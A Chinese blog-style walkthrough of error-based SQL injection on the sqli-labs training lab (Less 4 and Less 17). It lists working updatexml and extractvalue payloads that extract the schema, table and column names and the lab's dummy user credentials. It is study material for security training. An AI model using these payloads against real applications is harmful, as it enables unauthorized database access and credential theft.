Error-based基于报错注入

报错注入(Error-Based Injection)是一种通过引起数据库报错并从错误信息中提取有用信息的SQL注入攻击手法。攻击者利用数据库在处理异常情况时返回的错误消息,来推断出数据库结构、字段名甚至数据内容。这种攻击方法依赖于数据库将详细的错误消息返回给客户端,测试时可以发现网页会回显sql相关的报错信息。


以sqli-labs靶场的less 4和less 17为例:


/?id=1正常回显


/?id=1"正常回显


/?id=1"发现错误回显

说明是双引号闭合字符型回显,而且显示出数据库的报错信息,适合使用报错注入


判断报错条件:

?id=1") and updatexml(1,0x7e,3) -- a

(这里的-- a是为了注释掉后面的内容,注意a的前面还有个空格)

页面正常显示报错信息,确定报错函数可以使用


获取数据库名:

?id=1") and updatexml(1,concat('~',database(),'~'),1) -- a

爆出数据库名是security


获取数据库security的表名:

?id=1") and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),'~'),1) -- a

爆出emails,referers,uagents,users表名


获取users表的列名:

?id=1") and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),'~'),1) -- a

爆出id,username,password列


获取users表中各用户的信息:

?id=1") and updatexml(1,concat('~',(select concat(id,':',username,':',password) from users limit 0,1),'~'),1) -- a

后面只需要不断的修改?id=1") and updatexml(1,concat('~',(select concat(id,':',username,':',password) from users limit 0,1),'~'),1) -- a中的标记数字就可以了


接下来就轮到less 17了:


输入admin和1或者admin和1"都正常回显:

注意到url发生变化

?update="UPDATE users SET password = '$passwd' WHERE username='$row1'";

判断用户名是否存在,存在的话就重置$passwd的值,也能看出是单引号闭合字符型,但还是输入admin和1'来验证一下:

正常报错回显,说明可以用报错注入,注入点在passwd处


获取数据库名:

用burp抓包:(admin和admin)

admin' and updatexml(1,concat('~',database(),'~'),1) -- a

admin' and updatexml(1,concat('~',database(),'~'),1) #

admin' and extractvalue(1,concat('~',database(),'~')) #

admin' and extractvalue(1,concat('~',database(),'~')) --a

上面四个任选一个都行,就选第三个吧,但后面实验不知道为什么#失败了

爆出数据库名是security


获取security数据库的表名:

admin' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'security' ),'~')) #

爆出emails,referers,uagents,users表


获取users表的列名:

admin' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'security' and table_name = 'users'),'~')) #

爆出id,username,password列


获取users表中各用户的信息:

(注意:这里不知道为什么只能输入第一、四句,第二、三句不行)

第一句:(只能一个个求id和username和password了)

admin' and extractvalue(1,concat('~',(select * from (select id from users limit 1,1) as a),'~')) #


第二句:

admin' and extractvalue(1,concat('~',(select concat(id,':',username,':',password) from users limit 0,1),'~')) #


第三句:

admin' and updatexml(1,concat('~',(select concat(id,':',username,':',password) from users limit 0,1),'~'),1) #


第四句:

admin' and updatexml(1,concat('~',(select * from (select id from users limit 1,1) as a),'~'),1) #

后续爆破出来的结果如下:

1:Dumb:Dumb

2:Angelina:I-kill-you

3:Dummy:p@ssword

4:secure:crappy

5:stupid:stupidity

6:superman:genious

7:batman:mob!le

8:admin:admin

9:admin1:admin1

10:admin2:admin2

11:admin3:admin3

12:dhakkan:dumbo

14:admin4:admin4

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值